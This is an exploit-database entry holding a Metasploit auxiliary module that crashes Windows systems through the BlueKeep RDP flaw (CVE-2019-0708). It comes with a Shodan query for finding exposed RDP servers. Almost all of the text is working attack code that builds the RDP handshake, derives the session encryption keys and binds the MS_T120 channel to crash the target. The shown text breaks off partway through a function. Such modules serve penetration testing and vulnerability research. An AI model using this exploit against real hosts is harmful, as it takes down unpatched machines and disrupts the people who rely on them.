Microsoft Windows RDP BlueKeep Denial Of Service

# Exploit Title: Bluekeep Denial of Service (metasploit module)
# Shodan Dork: port:3389
# Date: 07/14/2019
# Exploit Author: RAMELLA Sebastien (https://github.com/mekhalleh/)
# Vendor Homepage: https://microsoft.com
# Version: all affected RDP services by cve-2019-0708
# Tested on: Windows XP (32-bits) / Windows 7 (64-bits)
# CVE : 2019-0708

# I just modified the initial metasploit module for this vuln to produce a denial of service attack.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  Rank = NormalRanking

  include Msf::Auxiliary::Dos
  include Msf::Auxiliary::Scanner
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE',
      'Description'    => %q{
        This module checks a range of hosts for the CVE-2019-0708 vulnerability
        by binding the MS_T120 channel outside of its normal slot and sending
        DoS packets.
      },
      'Author'         =>
      [
        'National Cyber Security Centre', # Discovery
        'JaGoTu',                         # Module
        'zerosum0x0',                     # Module
        'Tom Sellers',                    # TLS support and documented packets
        'RAMELLA Sebastien'               # Denial of service module
      ],
      'References'     =>
      [
        [ 'CVE', '2019-0708' ],
        [ 'URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ]
      ],
      'DisclosureDate' => '2019-05-14',
      'License'        => MSF_LICENSE,
      'Notes'          =>
      {
        'Stability' => [ CRASH_OS_DOWN ],
        'AKA'       => ['BlueKeep']
      }
    ))

    register_options(
      [
        OptAddress.new('RDP_CLIENT_IP', [ true, 'The client IPv4 address to report during connection', '192.168.0.100']),
        OptString.new('RDP_CLIENT_NAME', [ false, 'The client computer name to report during connection', 'rdesktop']),
        OptString.new('RDP_DOMAIN', [ false, 'The client domain name to report during connection', '']),
        OptString.new('RDP_USER', [ false, 'The username to report during connection.']),
        OptAddressRange.new("RHOSTS", [ true, 'Target address, address range or CIDR identifier']),
        OptInt.new('RPORT', [true, 'The target TCP port on which the RDP protocol response', 3389])
      ]
    )
  end

  # ------------------------------------------------------------------------- #

  def bin_to_hex(s)
    return(s.each_byte.map { | b | b.to_s(16).rjust(2, '0') }.join)
  end

  def bytes_to_bignum(bytesIn, order = "little")
    bytes = bin_to_hex(bytesIn)
    if(order == "little")
      bytes = bytes.scan(/../).reverse.join('')
    end
    s = "0x" + bytes

    return(s.to_i(16))
  end

  ## https://www.ruby-forum.com/t/integer-to-byte-string-speed-improvements/67110
  def int_to_bytestring(daInt, num_chars = nil)
    unless(num_chars)
      bits_needed = Math.log(daInt) / Math.log(2)
      num_chars = (bits_needed / 8.0).ceil
    end
    if(pack_code = { 1 => 'C', 2 => 'S', 4 => 'L' }[ num_chars ])
      [daInt].pack(pack_code)
    else
      a = (0..(num_chars)).map{ | i |
        (( daInt >> i*8 ) & 0xFF ).chr
      }.join
      a[0..-2]                                                                 # Seems legit lol!
    end
  end

  def open_connection()
    begin
      connect()
      sock.setsockopt(::Socket::IPPROTO_TCP, ::Socket::TCP_NODELAY, 1)
    rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
      vprint_error("Connection error: #{e.message}")
      return(false)
    end
  
    return(true)
  end

  def rsa_encrypt(bignum, rsexp, rsmod)
    return((bignum ** rsexp) % rsmod)
  end

  # ------------------------------------------------------------------------- #

  ## Used to abruptly abort scanner for a given host.
  class RdpCommunicationError < StandardError
  end
  
  ## Define standard RDP constants.
  class RDPConstants
    PROTOCOL_RDP = 0
  end

  DEFAULT_CHANNELS_DEFS =
  "\x04\x00\x00\x00" +                 # channelCount: 4

  ## Channels definitions consist of a name (8 bytes) and options flags
  ## (4 bytes). Names are up to 7 ANSI characters with null termination.
  "\x72\x64\x70\x73\x6e\x64\x00\x00" + # rdpsnd
  "\x0f\x00\x00\xc0" +
  "\x63\x6c\x69\x70\x72\x64\x72\x00" + # cliprdr
  "\x00\x00\xa0\xc0" +
  "\x64\x72\x64\x79\x6e\x76\x63" +     # drdynvc
  "\x00\x00\x00\x80\xc0" +
  "\x4d\x53\x5f\x54\x31\x32\x30" +     # MS_T120
  "\x00\x00\x00\x00\x00"

  ## Builds x.224 Data (DT) TPDU - Section 13.7
  def rdp_build_data_tpdu(data)
    tpkt_length = data.length + 7

    "\x03\x00" +                                                               # TPKT Header version 03, reserved 0
    [tpkt_length].pack("S>") +                                                 # TPKT length
    "\x02\xf0" +                                                               # X.224 Data TPDU (2 bytes)
    "\x80" +                                                                   # X.224 End Of Transmission (0x80)
    data
  end

  ## Build the X.224 packet, encrypt with Standard RDP Security as needed.
  ## Default channel_id = 0x03eb = 1003.
  def rdp_build_pkt(data, rc4enckey = nil, hmackey = nil, channel_id = "\x03\xeb", client_info = false, rdp_sec = true)
    flags = 0
    flags |= 0b1000 if(rdp_sec)                                                # Set SEC_ENCRYPT
    flags |= 0b1000000 if(client_info)                                         # Set SEC_INFO_PKT

    pdu = ""

    ## TS_SECURITY_HEADER - 2.2.8.1.1.2.1
    ## Send when the packet is encrypted w/ Standard RDP Security and in all Client Info PDUs.
    if(client_info || rdp_sec)
      pdu << [flags].pack("S<")                                                # flags  "\x48\x00" = SEC_INFO_PKT | SEC_ENCRYPT
      pdu << "\x00\x00"                                                        # flagsHi
    end

    if(rdp_sec)
      ## Encrypt the payload with RDP Standard Encryption.
      pdu << rdp_hmac(hmackey, data)[0..7]
      pdu << rdp_rc4_crypt(rc4enckey, data)
    else
      pdu << data
    end

    user_data_len = pdu.length
    udl_with_flag = 0x8000 | user_data_len

    pkt =  "\x64"                                                              # sendDataRequest
    pkt << "\x00\x08"                                                          # intiator userId (TODO: for a functional client this isn't static)
    pkt << channel_id                                                          # channelId
    pkt << "\x70"                                                              # dataPriority
    pkt << [udl_with_flag].pack("S>")
    pkt << pdu

    return(rdp_build_data_tpdu(pkt))
  end

  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/73d01865-2eae-407f-9b2c-87e31daac471
  ## Share Control Header - TS_SHARECONTROLHEADER - 2.2.8.1.1.1.1
  def rdp_build_share_control_header(type, data, channel_id = "\xf1\x03")
    total_len = data.length + 6

    return(
      [total_len].pack("S<") +                                                 # totalLength - includes all headers
      [type].pack("S<") +                                                      # pduType - flags 16 bit, unsigned
      channel_id +                                                             # PDUSource: 0x03f1 = 1009
      data
    )
  end

  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4b5d4c0d-a657-41e9-9c69-d58632f46d31
  ## Share Data Header - TS_SHAREDATAHEADER - 2.2.8.1.1.1.2
  def rdp_build_share_data_header(type, data)
    uncompressed_len = data.length + 4

    return(
      "\xea\x03\x01\x00" +                                                     # shareId: 66538
      "\x00" +                                                                 # pad1
      "\x01" +                                                                 # streamID: 1
      [uncompressed_len].pack("S<") +                                          # uncompressedLength - 16 bit, unsigned int
      [type].pack("C") +                                                       # pduType2 - 8 bit, unsigned int - 2.2.8.1.1.2
      "\x00" +                                                                 # compressedType: 0
      "\x00\x00" +                                                             # compressedLength: 0
      data
    )
  end

  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/6c074267-1b32-4ceb-9496-2eb941a23e6b
  ## Virtual Channel PDU 2.2.6.1
  def rdp_build_virtual_channel_pdu(flags, data)
    data_len = data.length

    return(
      [data_len].pack("L<") +                                                  # length
      [flags].pack("L<") +                                                     # flags
      data
    )
  end

  def rdp_calculate_rc4_keys(client_random, server_random)
    ## preMasterSecret = First192Bits(ClientRandom) + First192Bits(ServerRandom).
    preMasterSecret = client_random[0..23] + server_random[0..23]

    ## PreMasterHash(I) = SaltedHash(preMasterSecret, I)
    ## MasterSecret = PreMasterHash(0x41) + PreMasterHash(0x4242) + PreMasterHash(0x434343).
    masterSecret = rdp_salted_hash(preMasterSecret, "A", client_random,server_random) +  rdp_salted_hash(preMasterSecret, "BB", client_random, server_random) + rdp_salted_hash(preMasterSecret, "CCC", client_random, server_random)

    ## MasterHash(I) = SaltedHash(MasterSecret, I)
    ## SessionKeyBlob = MasterHash(0x58) + MasterHash(0x5959) + MasterHash(0x5A5A5A).
    sessionKeyBlob = rdp_salted_hash(masterSecret, "X", client_random, server_random) +  rdp_salted_hash(masterSecret, "YY", client_random, server_random) + rdp_salted_hash(masterSecret, "ZZZ", client_random, server_random)

    ## InitialClientDecryptKey128 = FinalHash(Second128Bits(SessionKeyBlob)).
    initialClientDecryptKey128 = rdp_final_hash(sessionKeyBlob[16..31], client_random, server_random)

    ## InitialClientEncryptKey128 = FinalHash(Third128Bits(SessionKeyBlob)).
    initialClientEncryptKey128 = rdp_final_hash(sessionKeyBlob[32..47], client_random, server_random)

    macKey = sessionKeyBlob[0..15]

    return initialClientEncryptKey128, initialClientDecryptKey128, macKey, sessionKeyBlob
  end

  def rdp_connection_initiation()
    ## Code to check if RDP is open or not.
    vprint_status("Verifying RDP protocol...")

    vprint_status("Attempting to connect using RDP security")
    rdp_send(pdu_negotiation_request(datastore['RDP_USER'], RDPConstants::PROTOCOL_RDP))

    received = sock.get_once(-1, 5)

    ## TODO: fix it.
    if (received and received.include? "\x00\x12\x34\x00")
      return(true)
    end

    return(false)
  end

  ##  FinalHash(K) = MD5(K + ClientRandom + ServerRandom).
  def rdp_final_hash(k, client_random_bytes, server_random_bytes)
    md5 = Digest::MD5.new

    md5 << k
    md5 << client_random_bytes
    md5 << server_random_bytes

    return([md5.hexdigest].pack("H*"))
  end

  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/7c61b54e-f6cd-4819-a59a-daf200f6bf94
  ## mac_salt_key = "W\x13\xc58\x7f\xeb\xa9\x10*\x1e\xddV\x96\x8b[d"
  ## data_content = "\x12\x00\x17\x00\xef\x03\xea\x03\x02\x00\x00\x01\x04\x00$\x00\x00\x00"
  ## hmac         = rdp_hmac(mac_salt_key, data_content)                       # hexlified: "22d5aeb486994a0c785dc929a2855923".
  def rdp_hmac(mac_salt_key, data_content)
    sha1 = Digest::SHA1.new
    md5 = Digest::MD5.new

    pad1 = "\x36" * 40
    pad2 = "\x5c" * 48

    sha1 << mac_salt_key
    sha1 << pad1
    sha1 << [data_content.length].pack('<L')
    sha1 << data_content

    md5 << mac_salt_key
    md5 << pad2
    md5 << [sha1.hexdigest].pack("H*")

    return([md5.hexdigest].pack("H*"))
  end

  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/927de44c-7fe8-4206-a14f-e5517dc24b1c
  ## Parse Server MCS Connect Response PUD - 2.2.1.4
  def rdp_parse_connect_response(pkt)
    ptr = 0
    rdp_pkt = pkt[0x49..pkt.length]

    while(ptr < rdp_pkt.length)
      header_type = rdp_pkt[ptr..ptr + 1]
      header_length = rdp_pkt[ptr + 2..ptr + 3].unpack("S<")[0]
      # vprint_status("header: #{bin_to_hex(header_type)}, len: #{header_length}")

      if(header_type == "\x02\x0c")
        # vprint_status("Security header")

        server_random = rdp_pkt[ptr + 20..ptr + 51]
        public_exponent = rdp_pkt[ptr + 84..ptr + 87]

        modulus = rdp_pkt[ptr + 88..ptr + 151]
        # vprint_status("modulus_old: #{bin_to_hex(modulus)}")

        rsa_magic = rdp_pkt[ptr + 68..ptr + 71]
        if(rsa_magic != "RSA1")
          print_error("Server cert isn't RSA, this scenario isn't supported (yet).")
          raise RdpCommunicationError
        end
        # vprint_status("RSA magic: #{rsa_magic}")
        
        bitlen = rdp_pkt[ptr + 72..ptr + 75].unpack("L<")[0] - 8
        vprint_status("RSA #{bitlen}-bits")

        modulus = rdp_pkt[ptr + 88..ptr + 87 + bitlen]
        # vprint_status("modulus_new: #{bin_to_hex(modulus)}")
      end

      ptr += header_length
    end

    # vprint_status("SERVER_MODULUS:  #{bin_to_hex(modulus)}")
    # vprint_status("SERVER_EXPONENT: #{bin_to_hex(public_exponent)}")
    # vprint_status("SERVER_RANDOM:   #{bin_to_hex(server_random)}")

    rsmod = bytes_to_bignum(modulus)
    rsexp = bytes_to_bignum(public_exponent)
    rsran = bytes_to_bignum(server_random)

    vprint_status("MODULUS:  #{bin_to_hex(modulus)} - #{rsmod.to_s}")
    vprint_status("EXPONENT: #{bin_to_hex(public_exponent)} - #{rsexp.to_s}")
    vprint_status("SVRANDOM: #{bin_to_hex(server_random)} - #{rsran.to_s}")

    return rsmod, rsexp, rsran, server_random, bitlen
  end

  def rdp_rc4_crypt(rc4obj, data)
    rc4obj.encrypt(data)
  end

  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/705f9542-b0e3-48be-b9a5-cf2ee582607f
  ## SaltedHash(S, I) = MD5(S + SHA(I + S + ClientRandom + ServerRandom))
  def rdp_salted_hash(s_bytes, i_bytes, client_random_bytes, server_random_bytes)
    sha1 = Digest::SHA1.new
    md5 = Digest::MD5.new

    sha1 << i_bytes
    sha1 << s_bytes
    sha1 << client_random_bytes
    sha1 << server_random_bytes

    md5 << s_bytes
    md5 << [sha1.hexdigest].pack("H*")

    return([md5.hexdigest].pack("H*"))
  end

  def rdp_recv()
    buffer_1 = sock.get_once(4, 5)
    raise RdpCommunicationError unless buffer_1                                # nil due to a timeout

    buffer_2 = sock.get_once(buffer_1[2..4].unpack("S>")[0], 5)
    raise RdpCommunicationError unless buffer_2                                # nil due to a timeout

    vprint_status("Received data: #{bin_to_hex(buffer_1 + buffer_2)}")
    return(buffer_1 + buffer_2)
  end

  def rdp_send(data)
    vprint_status("Send data: #{bin_to_hex(data)}")

    sock.put(data)
  end

  def rdp_sendrecv(data)
    rdp_send(data)

    return(rdp_recv())
  end

  # ------------------------------------------------------------------------- #

  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/18a27ef9-6f9a-4501-b000-94b1fe3c2c10
  ## Client X.224 Connect Request PDU - 2.2.1.1
  def pdu_negotiation_request(user_name = "", requested_protocols = RDPConstants::PROTOCOL_RDP)
    ## Blank username is valid, nil is random.
    user_name = Rex::Text.rand_text_alpha(12) if(user_name.nil?)
    tpkt_len = user_name.length + 38
    x224_len = user_name.length + 33

    return(
      "\x03\x00" +                                                             # TPKT Header version 03, reserved 0
      [tpkt_len].pack("S>") +                                                  # TPKT length: 43
      [x224_len].pack("C") +                                                   # X.224 LengthIndicator
      "\xe0" +                                                                 # X.224 Type: Connect Request
      "\x00\x00" +                                                             # dst reference
      "\x00\x00" +                                                             # src reference
      "\x00" +                                                                 # class and options
      "\x43\x6f\x6f\x6b\x69\x65\x3a\x20\x6d\x73\x74\x73\x68\x61\x73\x68\x3d" + # cookie - literal 'Cookie: mstshash='
      user_name +                                                              # Identifier "username"
      "\x0d\x0a" +                                                             # cookie terminator
      "\x01\x00" +                                                             # Type: RDP Negotiation Request (0x01)
      "\x08\x00" +                                                             # Length
      [requested_protocols].pack('L<')                                         # requestedProtocols
    )
  end

  # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/db6713ee-1c0e-4064-a3b3-0fac30b4037b
  def pdu_connect_initial(selected_proto = RDPConstants::PROTOCOL_RDP, host_name = "rdesktop", channels_defs = DEFAULT_CHANNELS_DEFS)
    ## After negotiating TLS or NLA the connectInitial packet needs to include the
    ## protocol selection that the server indicated in its negotiation response.

    ## TODO: If this is pulled into an RDP library then the channel list likely
    ## needs to be build dynamically. For example, MS_T120 likely should only
    ## ever be sent as part of checks for CVE-2019-0708.

    ## build clientName - 12.2.1.3.2 Client Core Data (TS_UD_CS_CORE)
    ## 15 characters + null terminator, converted to unicode
    ## fixed length - 32 characters total
    name_unicode = Rex::Text.to_unicode(host_name[0..14], type = 'utf-16le')
    name_unicode += "\x00" * (32 - name_unicode.length)

    pdu = "\x7f\x65" +                                                         # T.125 Connect-Initial    (BER: Application 101)
    "\x82\x01\xb2" +                                                           # Length                   (BER: Length)
    "\x04\x01\x01" +                                                           # CallingDomainSelector: 1 (BER: OctetString)
    "\x04\x01\x01" +                                                           # CalledDomainSelector: 1  (BER: OctetString)
    "\x01\x01\xff" +                                                           # UpwaredFlag: True        (BER: boolean)

    ## Connect-Initial: Target Parameters
    "\x30\x19" +                                                               # TargetParamenters        (BER: SequenceOf)
    ## *** not sure why the BER encoded Integers below have 2 byte values instead of one ***
    "\x02\x01\x22\x02\x01\x02\x02\x01\x00\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\xff\xff\x02\x01\x02" +

    ## Connect-Intial: Minimum Parameters
    "\x30\x19" +                                                               # MinimumParameters        (BER: SequencOf)
    "\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\x04\x20\x02\x01\x02" +

    ## Connect-Initial: Maximum Parameters
    "\x30\x1c" +                                                               # MaximumParameters        (BER: SequencOf)
    "\x02\x02\xff\xff\x02\x02\xfc\x17\x02\x02\xff\xff\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\xff\xff\x02\x01\x02" +

    ## Connect-Initial: UserData
    "\x04\x82\x01\x51" +                                                       # UserData, length 337     (BER: OctetString)

    ## T.124 GCC Connection Data (ConnectData) - PER Encoding used
    "\x00\x05" +                                                               # object length
    "\x00\x14\x7c\x00\x01" +                                                   # object: OID 0.0.20.124.0.1 = Generic Conference Control
    "\x81\x48" +                                                               # Length: ??? (Connect PDU)
    "\x00\x08\x00\x10\x00\x01\xc0\x00" +                                       # T.124 Connect PDU, Conference name 1
    "\x44\x75\x63\x61" +                                                       # h221NonStandard: 'Duca' (client-to-server H.221 key)
    "\x81\x3a" +                                                               # Length: ??? (T.124 UserData section)

    ## Client MCS Section - 2.2.1.3
    "\x01\xc0" +                                                               # clientCoreData (TS_UD_CS_CORE) header - 2.2.1.3.2
    "\xea\x00" +                                                               # Length: 234 (includes header)
    "\x0a\x00\x08\x00" +                                                       # version: 8.1 (RDP 5.0 -> 8.1)
    "\x80\x07" +                                                               # desktopWidth: 1920
    "\x38\x04" +                                                               # desktopHeigth: 1080
    "\x01\xca" +                                                               # colorDepth: 8 bpp
    "\x03\xaa" +                                                               # SASSequence: 43523
    "\x09\x04\x00\x00" +                                                       # keyboardLayout: 1033 (English US)
    "\xee\x42\x00\x00" +                                                       # clientBuild: ????
    [name_unicode].pack("a*") +                                                # clientName
    "\x04\x00\x00\x00" +                                                       # keyboardType: 4 (IBMEnhanced 101 or 102)
    "\x00\x00\x00\x00" +                                                       # keyboadSubtype: 0
    "\x0c\x00\x00\x00" +                                                       # keyboardFunctionKey: 12
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +       # imeFileName (64 bytes)
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
    "\x01\xca" +                                                               # postBeta2ColorDepth: 8 bpp
    "\x01\x00" +                                                               # clientProductID: 1
    "\x00\x00\x00\x00" +                                                       # serialNumber: 0
    "\x18\x00" +                                                               # highColorDepth: 24 bpp
    "\x0f\x00" +                                                               # supportedColorDepths: flag (24 bpp | 16 bpp | 15 bpp)
    "\xaf\x07" +                                                               # earlyCapabilityFlags
    "\x62\x00\x63\x00\x37\x00\x38\x00\x65\x00\x66\x00\x36\x00\x33\x00" +       # clientDigProductID (64 bytes)
    "\x2d\x00\x39\x00\x64\x00\x33\x00\x33\x00\x2d\x00\x34\x00\x31\x00" +
    "\x39\x38\x00\x38\x00\x2d\x00\x39\x00\x32\x00\x63\x00\x66\x00\x2d" +
    "\x00\x00\x31\x00\x62\x00\x32\x00\x64\x00\x61\x00\x42\x42\x42\x42" +
    "\x07" +                                                                   # connectionType: 7
    "\x00" +                                                                   # pad1octet
    
    ## serverSelectedProtocol - After negotiating TLS or CredSSP this value
    ## must match the selectedProtocol value from the server's Negotiate
    ## Connection confirm PDU that was sent before encryption was started.
    [selected_proto].pack('L<') +                                              # "\x01\x00\x00\x00"
    
    "\x56\x02\x00\x00" +
    "\x50\x01\x00\x00" +
    "\x00\x00" +
    "\x64\x00\x00\x00" +
    "\x64\x00\x00\x00" +

    "\x04\xc0" +                                                               # clientClusterdata (TS_UD_CS_CLUSTER) header - 2.2.1.3.5
    "\x0c\x00" +                                                               # Length: 12 (includes header)
    "\x15\x00\x00\x00" +                                                       # flags (REDIRECTION_SUPPORTED | REDIRECTION_VERSION3)
    "\x00\x00\x00\x00" +                                                       # RedirectedSessionID
    "\x02\xc0" +                                                               # clientSecuritydata (TS_UD_CS_SEC) header - 2.2.1.3.3
    "\x0c\x00" +                                                               # Length: 12 (includes header)
    "\x1b\x00\x00\x00" +                                                       # encryptionMethods: 3 (40 bit | 128 bit)
    "\x00\x00\x00\x00" +                                                       # extEncryptionMethods (French locale only)
    "\x03\xc0" +                                                               # clientNetworkData (TS_UD_CS_NET) - 2.2.1.3.4
    "\x38\x00" +                                                               # Length: 56 (includes header)
    channels_defs

    ## Fix. for packet modification.
    ## T.125 Connect-Initial
    size_1 = [pdu.length - 5].pack("s")                                        # Length (BER: Length)
    pdu[3] = size_1[1]
    pdu[4] = size_1[0]

    ## Connect-Initial: UserData
    size_2 = [pdu.length - 102].pack("s")                                      # UserData, length (BER: OctetString)
    pdu[100] = size_2[1]
    pdu[101] = size_2[0]

    ## T.124 GCC Connection Data (ConnectData) - PER Encoding used
    size_3 = [pdu.length - 111].pack("s")                                      # Length (Connect PDU)
    pdu[109] = "\x81"
    pdu[110] = size_3[0]

    size_4 = [pdu.length - 125].pack("s")                                      # Length (T.124 UserData section)
    pdu[123] = "\x81"
    pdu[124] = size_4[0]

    ## Client MCS Section - 2.2.1.3
    size_5 = [pdu.length - 383].pack("s")                                      # Length (includes header)
    pdu[385] = size_5[0]

    rdp_build_data_tpdu(pdu)
  end

  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9cde84cd-5055-475a-ac8b-704db419b66f
  ## Client Security Exchange PDU - 2.2.1.10
  def pdu_security_exchange(rcran, rsexp, rsmod, bitlen)
    encrypted_rcran_bignum = rsa_encrypt(rcran, rsexp, rsmod)
    encrypted_rcran = int_to_bytestring(encrypted_rcran_bignum)

    bitlen += 8                                                                # Pad with size of TS_SECURITY_PACKET header

    userdata_length = 8 + bitlen
    userdata_length_low = userdata_length & 0xFF
    userdata_length_high = userdata_length / 256
    flags = 0x80 | userdata_length_high

    pdu = "\x64" +                                                             # T.125 sendDataRequest
    "\x00\x08" +                                                               # intiator userId
    "\x03\xeb" +                                                               # channelId = 1003
    "\x70" +                                                                   # dataPriority = high, segmentation = begin | end
    [flags].pack("C") +
    [userdata_length_low].pack("C") +                                          # UserData length
    
    # TS_SECURITY_PACKET - 2.2.1.10.1
    "\x01\x00" +                                                               # securityHeader flags
    "\x00\x00" +                                                               # securityHeader flagsHi
    [bitlen].pack("L<") +                                                      # TS_ length
    encrypted_rcran +                                                          # encryptedClientRandom - 64 bytes
    "\x00\x00\x00\x00\x00\x00\x00\x00"                                         # 8 bytes rear padding (always present)

    return(rdp_build_data_tpdu(pdu))
  end

  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/04c60697-0d9a-4afd-a0cd-2cc133151a9c
  ## Client MCS Erect Domain Request PDU - 2.2.1.5
  def pdu_erect_domain_request()
    pdu = "\x04" +                                                             # T.125 ErectDomainRequest
    "\x01\x00" +                                                               # subHeight   - length 1, value 0
    "\x01\x00"                                                                 # subInterval - length 1, value 0

    return(rdp_build_data_tpdu(pdu))
  end

  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/f5d6a541-9b36-4100-b78f-18710f39f247\
  ## Client MCS Attach User Request PDU - 2.2.1.6
  def pdu_attach_user_request()
    pdu = "\x28"                                                               # T.125 AttachUserRequest

    return(rdp_build_data_tpdu(pdu))
  end

  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/64564639-3b2d-4d2c-ae77-1105b4cc011b
  ## Client MCS Channel Join Request PDU -2.2.1.8
  def pdu_channel_request(user1, channel_id)
    pdu = "\x38" + [user1, channel_id].pack("nn")                              # T.125 ChannelJoinRequest

    return(rdp_build_data_tpdu(pdu))
  end

  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/772d618e-b7d6-4cd0-b735-fa08af558f9d
  ## TS_INFO_PACKET - 2.2.1.11.1.1
  def pdu_client_info(user_name, domain_name = "", ip_address = "")
    ## Max. len for 4.0/6.0 servers is 44 bytes including terminator.
    ## Max. len for all other versions is 512 including terminator.
    ## We're going to limit to 44 (21 chars + null -> unicode) here.
    
    ## Blank username is valid, nil = random.
    user_name = Rex::Text.rand_text_alpha(10) if user_name.nil?
    user_unicode = Rex::Text.to_unicode(user_name[0..20],  type = 'utf-16le')
    uname_len = user_unicode.length

    ## Domain can can be, and for rdesktop typically is, empty.
    ## Max. len for 4.0/5.0 servers is 52 including terminator.
    ## Max. len for all other versions is 512 including terminator.
    ## We're going to limit to 52 (25 chars + null -> unicode) here.
    domain_unicode = Rex::Text.to_unicode(domain_name[0..24], type = 'utf-16le')
    domain_len = domain_unicode.length

    ## This address value is primarily used to reduce the fields by which this
    ## module can be fingerprinted. It doesn't show up in Windows logs.
    ## clientAddress + null terminator
    ip_unicode = Rex::Text.to_unicode(ip_address, type = 'utf-16le') + "\x00\x00"
    ip_len = ip_unicode.length
    
    pdu = "\xa1\xa5\x09\x04" +
    "\x09\x04\xbb\x47" +                                                       # CodePage
    "\x03\x00\x00\x00" +                                                       # flags - INFO_MOUSE, INFO_DISABLECTRLALTDEL, INFO_UNICODE, INFO_MAXIMIZESHELL, INFO_ENABLEWINDOWSKEY
    [domain_len].pack("S<") +                                                  # cbDomain (length value) - EXCLUDES null terminator
    [uname_len].pack("S<") +                                                   # cbUserName (length value) - EXCLUDES null terminator
    "\x00\x00" +                                                               # cbPassword (length value)
    "\x00\x00" +                                                               # cbAlternateShell (length value)
    "\x00\x00" +                                                               # cbWorkingDir (length value)
    [domain_unicode].pack("a*") +                                              # Domain
    "\x00\x00" +                                                               # Domain null terminator, EXCLUDED from value of cbDomain
    [user_unicode].pack("a*") +                                                # UserName
    "\x00\x00" +                                                               # UserName null terminator, EXCLUDED FROM value of cbUserName
    "\x00\x00" +                                                               # Password - empty
    "\x00\x00" +                                                               # AlternateShell - empty

    ## TS_EXTENDED_INFO_PACKET - 2.2.1.11.1.1.1
    "\x02\x00" +                                                               # clientAddressFamily - AF_INET - FIXFIX - detect and set dynamically
    [ip_len].pack("S<") +                                                      # cbClientAddress (length value) - INCLUDES terminator ... for reasons.
    [ip_unicode].pack("a*") +                                                  # clientAddress (unicode + null terminator (unicode)

    "\x3c\x00" +                                                               # cbClientDir (length value): 60
    "\x43\x00\x3a\x00\x5c\x00\x57\x00\x49\x00\x4e\x00\x4e\x00\x54\x00" +       # clientDir - 'C:\WINNT\System32\mstscax.dll' + null terminator
    "\x5c\x00\x53\x00\x79\x00\x73\x00\x74\x00\x65\x00\x6d\x00\x33\x00" +
    "\x32\x00\x5c\x00\x6d\x00\x73\x00\x74\x00\x73\x00\x63\x00\x61\x00" +
    "\x78\x00\x2e\x00\x64\x00\x6c\x00\x6c\x00\x00\x00" +
    
    ## clientTimeZone - TS_TIME_ZONE struct - 172 bytes
    ## These are the default values for rdesktop
    "\xa4\x01\x00\x00" +                                                       # Bias

    ## StandardName - 'GTB,normaltid'
    "\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00" +
    "\x20\x00\x53\x00\x74\x00\x61\x00\x6e\x00\x64\x00\x61\x00\x72\x00" +
    "\x64\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00" +
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
    "\x00\x00\x0b\x00\x00\x00\x01\x00\x02\x00\x00\x00\x00\x00\x00\x00" +       # StandardDate
    "\x00\x00\x00\x00" +                                                       # StandardBias

    ## DaylightName - 'GTB,sommartid'
    "\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00" +
    "\x20\x00\x44\x00\x61\x00\x79\x00\x6c\x00\x69\x00\x67\x00\x68\x00" +
    "\x74\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00" +
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
    "\x00\x00\x03\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\x00\x00" +       # DaylightDate
    "\xc4\xff\xff\xff" +                                                       # DaylightBias

    "\x01\x00\x00\x00" +                                                       # clientSessionId
    "\x06\x00\x00\x00" +                                                       # performanceFlags
    "\x00\x00" +                                                               # cbAutoReconnectCookie
    "\x64\x00\x00\x00"

    return(pdu)
  end

  # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4e9722c3-ad83-43f5-af5a-529f73d88b48
  # Confirm Active PDU Data - TS_CONFIRM_ACTIVE_PDU - 2.2.1.13.2.1
  def pdu_client_confirm_active()
    pdu  = "\xea\x03\x01\x00" +                                                # shareId: 66538
    "\xea\x03" +                                                               # originatorId
    "\x06\x00" +                                                               # lengthSourceDescriptor: 6
    "\x3e\x02" +                                                               # lengthCombinedCapabilities: ???
    "\x4d\x53\x54\x53\x43\x00" +                                               # SourceDescriptor: 'MSTSC'
